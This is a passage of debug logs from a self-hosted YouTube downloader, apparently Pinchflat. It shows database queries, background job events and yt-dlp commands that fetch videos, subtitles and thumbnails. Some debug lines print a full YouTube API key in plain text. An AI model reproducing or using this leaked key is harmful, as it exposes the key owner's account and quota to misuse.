"media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:13.395 [debug] QUERY OK source="media_items" db=0.0ms idle=133.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1564184] 16:47:13.395 [info] No notification servers provided for source 32 16:47:13.396 [debug] QUERY OK source="tasks" db=0.1ms idle=1.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800063, 32, ~U[2026-02-10 22:47:13Z], ~U[2026-02-10 22:47:13Z]] 16:47:13.396 [info] {"args":{"id":32},"id":3800017,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":5136624,"event":"job:stop","queue_time":482442,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:14.747 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ed7V-kfgSGY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/88/c5/88c55205e633577968addaaac02be1de6a1268e708fdba4e5f23b3604b65e8c2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:47:14.747 [debug] Running yt-dlp command for action: download 16:47:14.748 [debug] QUERY OK source="settings" db=0.1ms idle=1351.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:14.748 [debug] QUERY OK source="settings" db=0.1ms idle=1351.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:14.748 [debug] QUERY OK source="settings" db=0.0ms idle=1351.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:14.748 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ed7V-kfgSGY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/19/e7/19e74872ac2f40330f0f108674457115a5bf525a945fe3fac74a3122909a92ac.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:47:19.620 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ed7V-kfgSGY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/19/e7/19e74872ac2f40330f0f108674457115a5bf525a945fe3fac74a3122909a92ac.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:47:19.636 [debug] Running yt-dlp command for action: download_thumbnail 16:47:19.648 [debug] QUERY OK source="settings" db=0.1ms idle=1770.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:19.649 [debug] QUERY OK source="settings" db=0.0ms idle=1770.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:19.649 [debug] QUERY OK source="settings" db=0.0ms idle=1382.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:19.649 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ed7V-kfgSGY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/1564184/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/cb/61/cb612f8e428afaf1a438ca0053a1bc238705f24fb7a77d738853eda190b430fd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:47:22.450 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ed7V-kfgSGY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/1564184/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/cb/61/cb612f8e428afaf1a438ca0053a1bc238705f24fb7a77d738853eda190b430fd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:47:22.451 [debug] QUERY OK db=0.0ms idle=1572.6ms begin [] 16:47:22.451 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "metadata_filepath" = ?, "thumbnail_filepath" = ?, "media_downloaded_at" = ?, "media_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/Autism From The Inside/2026-02-10 PAIN and Executive Dysfunction/PAIN and Executive Dysfunction [ed7V-kfgSGY].info.json", "/downloads/Autism From The Inside/2026-02-10 PAIN and Executive Dysfunction/PAIN and Executive Dysfunction [ed7V-kfgSGY]-thumb.jpg", ~U[2026-02-10 22:47:19Z], "/downloads/Autism From The Inside/2026-02-10 PAIN and Executive Dysfunction/PAIN and Executive Dysfunction [ed7V-kfgSGY].mp4", [["en", "/downloads/Autism From The Inside/2026-02-10 PAIN and Executive Dysfunction/PAIN and Executive Dysfunction [ed7V-kfgSGY].en.srt"]], ~U[2026-02-10 22:47:22Z], 1564184] 16:47:22.452 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/1564184/metadata.json.gz", "/config/metadata/media_items/1564184/thumbnail.jpg", 1564184, ~U[2026-02-10 22:47:22Z], ~U[2026-02-10 22:47:22Z]] 16:47:22.452 [debug] QUERY OK db=0.1ms commit [] 16:47:22.473 [debug] QUERY OK source="media_items" db=21.1ms idle=1574.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [5322256, ~U[2026-02-10 22:47:22Z], 1564184] 16:47:22.473 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:47:22.474 [info] {"args":{"id":1564184},"id":3800062,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":10510260,"event":"job:stop","queue_time":963217,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:47:24.279 [info] {"args":{"id":36},"id":3800024,"meta":{},"system_time":1770763644279682227,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:24.280 [debug] QUERY OK source="sources" db=0.1ms idle=401.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:47:24.280 [debug] QUERY OK source="settings" db=0.0ms idle=401.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:24.280 [debug] QUERY OK source="media_profiles" db=0.1ms idle=401.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:24.280 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:24.280 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:47:24.280 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:24.280 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:24.394 [debug] QUERY OK source="media_items" db=0.8ms idle=113.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 16:47:24.395 [debug] QUERY OK source="media_items" db=0.7ms idle=114.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:47:24.396 [debug] QUERY OK source="tasks" db=0.1ms idle=115.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800064, 36, ~U[2026-02-10 22:47:24Z], ~U[2026-02-10 22:47:24Z]] 16:47:24.396 [info] {"args":{"id":36},"id":3800024,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":116905,"event":"job:stop","queue_time":476686,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:28.589 [info] {"source":"oban","duration":11090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:37.292 [info] {"args":{"id":23},"id":3800025,"meta":{},"system_time":1770763657292825980,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:37.293 [debug] QUERY OK source="sources" db=0.3ms idle=1414.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:47:37.293 [debug] QUERY OK source="settings" db=0.0ms idle=1415.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:37.293 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:37.294 [debug] QUERY OK source="settings" db=0.7ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:37.294 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:47:37.294 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:37.294 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:37.383 [debug] QUERY OK source="media_items" db=0.5ms idle=89.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 16:47:37.383 [debug] QUERY OK source="media_items" db=0.2ms idle=89.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:47:37.384 [debug] QUERY OK source="tasks" db=0.1ms idle=89.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800065, 23, ~U[2026-02-10 22:47:37Z], ~U[2026-02-10 22:47:37Z]] 16:47:37.384 [info] {"args":{"id":23},"id":3800025,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91821,"event":"job:stop","queue_time":548053,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:39.294 [info] {"args":{"id":34},"id":3800026,"meta":{},"system_time":1770763659294880371,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:39.295 [info] {"args":{"id":10},"id":3800027,"meta":{},"system_time":1770763659294938376,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:39.295 [debug] QUERY OK source="sources" db=0.2ms idle=416.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 16:47:39.295 [debug] QUERY OK source="sources" db=0.2ms idle=416.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:47:39.295 [debug] QUERY OK source="settings" db=0.1ms idle=417.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:39.295 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:39.295 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:39.295 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:39.296 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:39.296 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 16:47:39.296 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:39.296 [debug] Fetching recent media IDs 